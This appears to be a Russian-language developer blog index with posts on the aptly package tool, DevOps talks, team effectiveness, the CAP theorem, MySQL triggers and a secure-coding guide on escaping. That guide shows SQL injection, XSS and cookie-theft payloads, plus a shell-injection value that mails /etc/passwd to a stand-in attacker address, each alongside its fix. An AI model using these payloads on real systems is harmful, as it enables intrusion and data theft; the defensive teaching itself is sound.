aptly 0.2, Встреча DevOps Moscow январь 2013

Случилось два хороших события: вышла версия 0.2 aptly, и я представил aptly на январской встрече DevOps в Москве.

aptly - это система управления репозиториями пакетами Debian (в будущем и rpm-репозиториями), которая позволяет контролировать то, какие версии пакетов будут установлены, а также изменять версии пакетов контролируемым образом. Базовой концепцией aptly является snapshot - неизменяняемый срез репозитория пакетов, который обеспечивает повторяемость. Операции над срезами позволяют, например, перетащить новую версию nginx из backports или добавить к основному репозиторию пакет Percona MySQL Server из репозитория Percona.

К середине февраля должна выйти версия 0.3, в которой будут добавлены небольшие возможности, чтобы пользоваться aptly было удобнее.

Пару слов про DevOps Meetup: огранизовано все было отлично, пришло очень много народу, интересные доклады. Следите за следующими встречами! Видео моего доклада про aptly Яндекс уже выложил. Слайды доклада можно скачать в формате PDF или посмотреть в онлайне под катом.

Читать далее…

Devops Meetup в Будапеште 18 ноября 2013

18-го ноября по приглашению Péter Halácsy и Gábor Vészi я рассказывал на встрече DevOps в Будапеште о нашем опыте DevOps в Qik, о том, что удалось сделать, что хотелось бы сделать, какие были проблемы, а также о том, о чем я думаю сейчас.

Слайды презентации в PDF.

Читать далее…

Эффективная команда (расшифровка доклада)

Доклад "Эффективная команда" я рассказывал дважды: в Ульяновске на Стачке и в Москве на РИТ++. Видео и слайды доклада доступны в предыдущем посте. Здесь текст выступления, достаточно близкий к тому, что я рассказывал. Если текст кажется слишком длинным, почитайте сразу Резюме, если с чем-то несогласны, возвращайтесь к тексту.

Введение

Пару слов о себе: я проработал бóльшую часть времени в российских компаниях от маленького до среднего размера, занимаясь как разработкой своих продуктов, так и разработкой на заказ. Четыре года назад я пришел в небольшой (на тот момент) американский стартап Qik, который вырос и прошел через два поглощения подряд: Skype купил Qik, а Microsoft купил Skype.

День закончился, а у меня ощущение, что по сути я ничего не сделал... Наша команда увеличилась в два раза, а мы успеваем сделать меньше

Для меня этот доклад начался с вопросов, которые я сам себе задавал долгое время:

  • День закончился, а у меня ощущение, что по сути я ничего не сделал...
  • Наша команда увеличилась в два раза, а мы успеваем сделать меньше...

Они возникали у меня в разных командах, на разных этапах развития проекта и мне каждый раз хотелось понять в чем причина моей неудовлетворенности, почему я чувствую свою работу и работу своей команды неэффективной?

Под эффективностью здесь я понимаю определение, которое дает Википедия:

Эффективность системы — это свойство системы выполнять поставленную цель в заданных условиях использования и с определенным качеством.

Я предполагаю, что качество зафиксировано (мы ведь все хотим создавать качественные продукты!), а вопрос состоит только в том, какой ценой будет создан продукт. Здесь я имею в виду не столько финансовый вопрос, а, скорее, затраченные ресурсы: время, нервы, огорчения и радости, упущенная выгода и т.п.

Конечно, частью ответа на вопрос, почему мы успеваем делать меньше, чем мы могли сделать раньше, является "раньше деревья были выше, а трава зеленее". Мы всегда относимся к тому, что делаем сейчас, в большей степени критически, чем к своим прошлым достижениям или к тому, что делают конкуренты. Из-за этого возникает постоянное неудовольствие своими результатами.

Но разве не можем мы изменить что-то, чтобы сделать работу команды более эффективной? Как сделать так, чтобы проект двигался вперед быстрее? Я попробую ответить на эти вопросы.

Читать далее…

CAP-теорема простым русским языком

Вольный перевод поста Kaushik Sathupadi: A plain english introduction to CAP Theorem.

Часто можно услышать, что существует теоретический предел, который невозможно преодолеть при построении распределенных систем: CAP-теорема, которая утверждает, что система не может одновременно достичь согласованности данных (консистентности, Consistency), доступности (Availability) и устойчивости к разделению (Partition tolerance). Попробуем проиллюстрировать это примером из нашей обычной жизни.

Читать далее…

Эффективная команда

В апреле два раза рассказывал про "эффективную команду" на двух конференциях: в Ульяновске на Стачке и в Москве на РИТ++.

РИТ++ был организован на высоте, задавая планку качества конференций в России. По субъективным ощущением качество докладов выросло по сравнению с предыдущими годами. В Ульяновск стоило съездить только ради мемориала Ильича, очень теплая атмосфера, огромный большой зал, который, к сожалению до конца не наполнялся.

Тезисы

"Мне кажется, что то, что я делал год назад, "круче", чем то, чего я добился сегодня... День закончился, а у меня ощущение, что по сути я ничего не сделал... Наша команда увеличилась в два раза, а мы успеваем сделать меньше..." У вас уже были такие мысли? Я постараюсь найти ответ на эти вопросы в докладе.

  • Эволюция от любителя-одиночки до профессионала в большой компании.
  • Связь размера команды и эффективности ее работы. В чем роль процесса организации разработки?
  • Взаимодействие разработчиков, тестировщиков, отдела эксплуатации, команды создания продукта и их влияние на эффективность.
  • Как построить эффективную команду разработки?
  • Баги и эффективность.
  • Сложность создаваемого продукта, естественное и навязанное разделение на компоненты, а также другие не связанные с разработкой аспекты, влияющие на эффективность.

Предполагаемая аудитория

Разработчики, тестировщики, менеджеры проектов и другие участники создания программных продуктов.

Презентация

Презентация в формате PDF.

Видео

Запись со Стачки в Ульяновске, Большой зал, смотреть с 15:40.

Пример использования guppy/heapy

Guppy - классный профилировщик памяти для Python. К сожалению, им довольно сложно пользоваться, а документация оставляет желать лучшего. Один из разработчиков pkgcore написал отличную статью об использовании Guppy, которая располагалась по адресу: http://www.pkgcore.org/trac/pkgcore/doc/dev-notes/heapy.rst. Статья больше недоступна, я нашел исходник на bitbucket и превратил в PDF/HTML для простоты использования:

Не забудь сделать escape!

Когда я только начинал программировать в web, правильно сделать escape данных было непростой задачей: никаких хороших библиотек не было или приходилось писать что-то свое, при этом на каждом шагу не забывая поставить нужный escape. Сегодня отличные библиотеки, такие как Ruby on Rails, позволяют "расслабиться" и забыть о том, что такое escaping (по крайней мере до какой-то степени). Не смотря на это, все еще необходимо понимать, что такое escaping, зачем он нужен, когда и какой.

Отсутствие правильного escaping (впрочем, как и избыточный и неуместный escaping) приводит к ошибкам и уязвимостям (проблемам безопасности) в web-приложениях. Обычно уязвимость состоит в том, что приложение получает данные из различных внешних источников (от пользователя, из других приложений), эти данные приложение вставляет строчку, которая впоследствие будет обработана третьей системой (базой данных, браузером, интерпретатором и т.п.) При этом при передаче особым образом подготовленных данных удается совершить действие, которое не должно было произойти.

SQL

Типичная уязвимость: SQL Injection.

Пример кода (авторизация по логину и паролю):

<?php runQuery("SELECT id FROM users WHERE login='$login' AND password='$password'");

Если значения переменных $login и $password получены от пользователя (например, через форму авторизации), можно в поле password ввести значение вида: ' OR '' = ', тогда после подстановки получится такой запрос:

SELECT id FROM users WHERE login='login' AND password='' OR '' = ''

Условие WHERE всегда истинно, для любой строчки БД. В зависимости от вида запроса, способа авторизации такое поведение приведет к возможности авторизации, не зная пароля.

Проблема состоит в том, что при прямой подстановке значения переменной $password мы смогли изменить смысл исходного запроса.

Что делать (в порядке от плохого к хорошему):

  • использовать функцию, которая осуществляет escaping, причем специфичный для конкретной БД (так как синтаксис SQL-запросов может отличаться от одной БД к другой (в конечном итоге не очень хороший способ, так как однажды забытая функция escape ведет к потенциальной уязвимости); например, для PHP/MySQL: mysql_real_escape_string.
  • использовать синтаксис SQL с параметрами (placeholderами), в этом случае значение не подставляется в строку SQL-запроса, а передается отдельно как значение соответствующего типа; пример для PHP/PDO: PDOStatement->bindValue.
  • использовать ORM, которая спрячет процесс построения запросов, например для Rails: User.find_by_login_and_password(login, password).

Примечание: один из моих любимых вопросов на собеседовании - "SQL injection и как его избежать". В 50% случаев я слышу про то, что надо фильтровать пользовательские данные. Это не может быть универсальным способом! Пользователь может совершенно разумно хотеть написать одинарную кавычку в том текстовом поле, значение которого будет передано вашему приложению. Валидация или фильтрация данных - дополнительная возможность, которая происходит на уровне модели вашего приложения, но escaping происходит на уровне, уже непосредственно взаимодействующем с БД.

HTML

Типичная уязвимость: XSS, типичные exploitы.

В разметке HTML есть некоторое количество символов, которые имеют особый смысл: &"'. Проблема возникает, когда в текст (между элементами HTML) попадают данные, которые содержат мета-символы HTML, перечисленные выше.

Пример (PHP):

<span class="author"><?= $user->nickname ?></span>

Если в качестве $user->nickname пользователь введет:

<script>alert("hi!")</script>

То все посетители сайта, которые посещают страницу, содержащую вышеприведенный код, получат окошко c "hi!".

Должно быть так (htmlspecialchars осуществляет замены вида ">" -> "&gt;" и т.п.):

<span class="author"><?= htmlspecialchars($user->nickname) ?></span>

Необходимо отметить, что решения из разряда "фильтрации", описанные в примечании к SQL-escape, не всегда работают по тем же самым причинам. Типичный поток данных для данной уязвимости - пользователь (например, ввод в форме) -> БД -> вывод на страницу в HTML. При этом HTML escaping должен происходить при выводе данных, а не при записи в БД, т.к. данные в БД могут использоваться и для вывода в другие форматы (например, PDF).

Второй разновидностью данной проблемы является динамическая генерация HTML в контексте страницы, например, с помощью jQuery:

$('#nickname').update('<span>' + data['nickname'] + '</span>');

Должно быть так:

$('#nickname').update($('<span>').text(data['nickname']));

Фукнция text в отличие от update изменяет только текстовые узлы DOM-дерева и не интерпретирует (добавляет "как есть") любую HTML-разметку.

Как избежать подобных проблем:

  • Шаблонизатор на серверной стороне должен по умолчанию делать HTML escaping при подстановке данных в шаблон, т.к. чаще всего нужно делать escape, а не наоборот. Не нужен escaping только при вставке готовых кусков HTML-кода (например, результата работы другого шаблона).
  • При построении DOM-дерева в JavaScript не используйте куски HTML кода, лучше стройте DOM-дерево из отдельных элементов (как показано выше). Можно воспользоваться JavaScript-шаблонизатором с теми же требованиями, что и для серверного решения.

JavaScript

Типичная уязвимость: XSS.

Не менее часто в сегодняшних сложных web-приложениях необходимо передать данные с серверной части в JavaScript-код через HTML страницу. Для этого чаще всего генерируется в шаблоне такой JavaScript-код:

<script type="text/javascript">
  var user = '<?=$username?>';
</script></pre>

Теперь представим, что будет, если я в качестве $username напишу '+alert(document.cookies) + '. Нехорошо получается? Ответ простой - сегодня все языки программирования поддерживают возможность преобразования данных в JSON. А это как раз тот вид escape, который нам нужен! Причем у нас появляется передавать в JavaScript сложные данные (массивы, объекты), а также свободно обрабатывать случаи null и т.п.:

:javascript
  var user = #{@user.name.to_json};

(Кавычки вокруг строки уже указывать не нужно).

Как избежать: преобразуйте данные в JSON перед вставкой в JavaScript-код.

URL

URL - это тоже далеко не такая простая вещь, как кажется на самом деле. В URL используется множество символов, которые имеют особый смысл: ?&=/. Чаще всего проблема возникает при построении URL динамически, а при этом в качестве части URL необходимо использовать переданные пользователем данные. Пусть, например, нам надо построить URL страницы поиска для ссылки с тега какого-то объекта:

<?php "http://example.com/search/?q=" . $tag->name

Если ограничений особенно жестких на имя тега нет, мы можем получить несколько другой URL, чем мы планировали. Например, добавить еще один параметр через &val=xxx в имени тэга. В результате, пользователь, кликнувший по ссылке на такой тэг в списке тэгов может попасть совсем не на страницу тэга, а на другую страницу сайта (результат будет зависеть во многом от схемы формирования ссылок).

Как избежать: используйте urlencode-подобные функции при формировании компонентов URL, или, еще лучше: используйте "сборщики ссылок", которые отдельно принимают схему протокола, имя хоста, URI, GET-параметры и т.п. Пример - link_to в Rails.

Shell

Типичная уязвимость: получение shell-доступа к удаленному серверу.

При выполнении команд в ответ на запрос с использованием параметров, переданных клиентом (это могут быть как строки, так и, например, имена файлов), можно использовать различные способы запуска команд. Одним из таких способов является команда system или ее различные варианты:

<?php $image = $_GET['image'];

$result = system("/usr/bin/process_image '$image'");

В данный код в качестве значения переменной $image можно передать, например, следующее:

'; (cat /etc/passwd | mail cool@hacker.org); echo '

В чем здесь проблема?

  1. Функция system и ей подобные запускают командный интерпретатор (например, bash), возможности которого гораздо больше, чем требуется нам.
  2. Мы не выполняем корректный escaping параметров, чтобы $image оказался в точности одним параметром командной строки.

Как избежать:

  1. Использовать функции, которые запускают внешний процесс, не прибегая к помощи shell: они обычно принимают отдельно полный путь к исполняемому файлу и массив аргументов. Проблема отпадает сама собой.
  2. Использовать функцию escapeshellarg и ей подобные, которая гарантирует, что внутри параметра все специальные символы будут экранированы:
<?php $image = $_GET['image'];

$result = system("/usr/bin/process_image ".escapeshellarg($image));

UDF в MySQL, json или то, как забрать обновления данных из БД

Иногда необходимо забирать данные из БД MySQL в режиме реального времени во внешнюю систему, которая никак не связана с MySQL. Существует множество возможных решений, например, можно реализовать "слейва" MySQL, который бы хранил полученные данные во внешней системе.

Одно из возможных решений - сделать "выгрузку" данных из MySQL с помощью UDF (User Defined Functions) и триггеров. Для этого необходимо поставить слейв MySQL, на котором уже повесить на интересующие таблицы триггеры, которые с помощью UDF будут выгружать поток изменений таблиц во внешнюю систему. Слейв необходим, т.к. если триггеры поставить на мастере, то в случае отката транзакции действия, уже сделанные триггерами, откатить не получится, а на слейв попадают только зафиксированные транзакции. Второе,чтобы триггеры работали на слейве, тип репликации должен быть выставлен на STATEMENT-based.

Порывшись в одном интересном архиве UDF для MySQL я нашел несколько функций, которые мне подошли:

  • преобразование строки MySQL в json;
  • интерфейс с memcached.

В результате получился следующий план действий: данные модифицируются на мастере, реплицируются на слейв с помощью STATEMENT-репликации. В процессе репликации на слейве запускаются триггеры, формируют с помощью UDF пакет обновлений в JSON, и передают его во внешнюю очередь (memcacheq) по memcached-протоколу. Конечно, это не единственный возможный способ, но все UDF уже были почти готовы. После доделывания напильником UDF получился вполне стабильно работающий вариант.

Триггеры выглядят примерно следующим образом:

CREATE FUNCTION kick_photos (row_id INT) RETURNS INT
BEGIN
    SELECT memc_set('queue_db', (json_object('insert' AS action, 'photos' AS table_name, photos.id AS id, json_members('data', json_object(photos.user_id AS `user_id`,photos.width AS `width`,photos.created_at AS `created_at`,photos.filename AS `filename`,photos.parent_id AS `parent_id`,photos.content_type AS `content_type`,photos.height AS `height`,photos.thumbnail AS `thumbnail`,photos.size AS `size`))))) INTO @dummy FROM photos WHERE id = row_id;
RETURN @dummy;
END


CREATE TRIGGER photos_INSERT AFTER INSERT ON photos FOR EACH ROW
    SET @dummy = memc_set('queue_db', (json_object('insert' AS action, 'photos' AS table_name, NEW.id AS id, json_members('data', json_object(NEW.user_id AS `user_id`,NEW.parent_id AS `parent_id`,NEW.created_at AS `created_at`,NEW.filename AS `filename`,NEW.width AS `width`,NEW.content_type AS `content_type`,NEW.height AS `height`,NEW.thumbnail AS `thumbnail`,NEW.size AS `size`)))));


CREATE TRIGGER photos_DELETE BEFORE DELETE ON photos FOR EACH ROW
 SET @dummy = memc_set('queue_db', (json_object('delete' AS action, 'photos' AS table_name, OLD.id AS id, json_members('data', json_object(OLD.user_id AS `user_id`,OLD.parent_id AS `parent_id`,OLD.created_at AS `created_at`,OLD.filename AS `filename`,OLD.width AS `width`,OLD.content_type AS `content_type`,OLD.height AS `height`,OLD.thumbnail AS `thumbnail`,OLD.size AS `size`)))));


CREATE TRIGGER photos_UPDATE AFTER UPDATE ON photos FOR EACH ROW
BEGIN
    IF json_object(OLD.user_id AS `user_id`,OLD.parent_id AS `parent_id`,OLD.created_at AS `created_at`,OLD.filename AS `filename`,OLD.width AS `width`,OLD.content_type AS `content_type`,OLD.height AS `height`,OLD.thumbnail AS `thumbnail`,OLD.size AS `size`) <> json_object(NEW.user_id AS `user_id`,NEW.parent_id AS `parent_id`,NEW.created_at AS `created_at`,NEW.filename AS `filename`,NEW.width AS `width`,NEW.content_type AS `content_type`,NEW.height AS `height`,NEW.thumbnail AS `thumbnail`,NEW.size AS `size`) THEN
        SET @dummy = memc_set('queue_db', (json_object('update' AS action, 'photos' AS table_name, OLD.id AS id, json_members('new', json_object(NEW.user_id AS `user_id`,NEW.parent_id AS `parent_id`,NEW.created_at AS `created_at`,NEW.filename AS `filename`,NEW.width AS `width`,NEW.content_type AS `content_type`,NEW.height AS `height`,NEW.thumbnail AS `thumbnail`,NEW.size AS `size`)), json_members('old', json_object(OLD.user_id AS `user_id`,OLD.parent_id AS `parent_id`,OLD.created_at AS `created_at`,OLD.filename AS `filename`,OLD.width AS `width`,OLD.content_type AS `content_type`,OLD.height AS `height`,OLD.thumbnail AS `thumbnail`,OLD.size AS `size`)))));
    END IF;
END;

Комментарии:

  • функция kick_photos позволяет скопировать строчку таблицы в очередь как пакет обновления типа "вставка", может использоваться для начального наполнения внешней системы;
  • триггеры на удаление и вставку просто формируют соответствующие пакеты;
  • триггер на обновление проверяет, действительно ли в пакете произошли изменения (например, мы можем использовать не все поля в пакете);
  • необходимо учесть, что работе FOREIGN KEY CONSTRAINT триггеры не вызываются (очередной прикол MySQL), т.е., например, если при выполнении запроса на удаление из таблицы A будут по FOREIGN KEY удалятся записи из таблицы B, то в триггере на удаление из A необходимо отработать этот случай, т.к. триггеры на таблице B не будут вызваны.

Код UDF доступен на github, это - "подпиленный" код из репозитория UDF или собственные разработки:

HighLoad-2010: Приемы разработки высоконагруженных приложений на Twisted/Python

25-26 октября состоялся HighLoad-2010, конференция получилось хорошей хотя бы потому, что было мало докладов ни о чем. Неплохой уровень, особенно было приятно увидеть "профессоров" PostgreSQL.

Я выступал с докладом "Приемы разработки высоконагруженных приложений на Twisted/Python". В докладе получилась (вполне сознательно) сборная солянка из советов и приемов о том, как писать приложения на Twisted (и похожих frameworkах). Из-за большого количества разных тем не получилось углубиться ни в одну, каюсь...

Тезисы:

  1. Запуск и шедулинг многих однопоточных процессов на одном сервере.
  2. Key-value storage и приемы работы с ним.
  3. Обслуживание сотен тысяч соединений на одном сервере.
  4. HTTP-сервисы и балансировка нагрузки, локализация нагрузки.
  5. Сбор статистики, интеграция с системой мониторинга.
  6. Шина обмена сообщениями на примере AMQP.
  7. Поиск и устранение memory leak.
  8. Оптимизация по времени отклика и пропускной способности.
  9. Мифы и правда о Python как языке разработки нагруженных приложений.

Презентация:



Утащить:

  • В формате PDF
  • Модуль py-numа, который упоминался в докладе
Contents © 2015 Andrey - Powered by Nikola